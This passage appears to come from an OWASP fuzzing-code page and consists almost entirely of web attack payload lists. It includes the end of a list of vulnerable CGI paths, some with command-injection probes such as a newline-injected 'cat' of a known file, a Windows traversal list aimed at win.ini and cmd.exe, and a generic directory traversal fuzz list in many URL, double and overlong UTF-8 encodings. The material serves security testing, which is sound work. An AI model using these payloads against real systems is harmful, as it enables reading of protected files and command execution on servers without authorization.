whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (77 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (7 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> 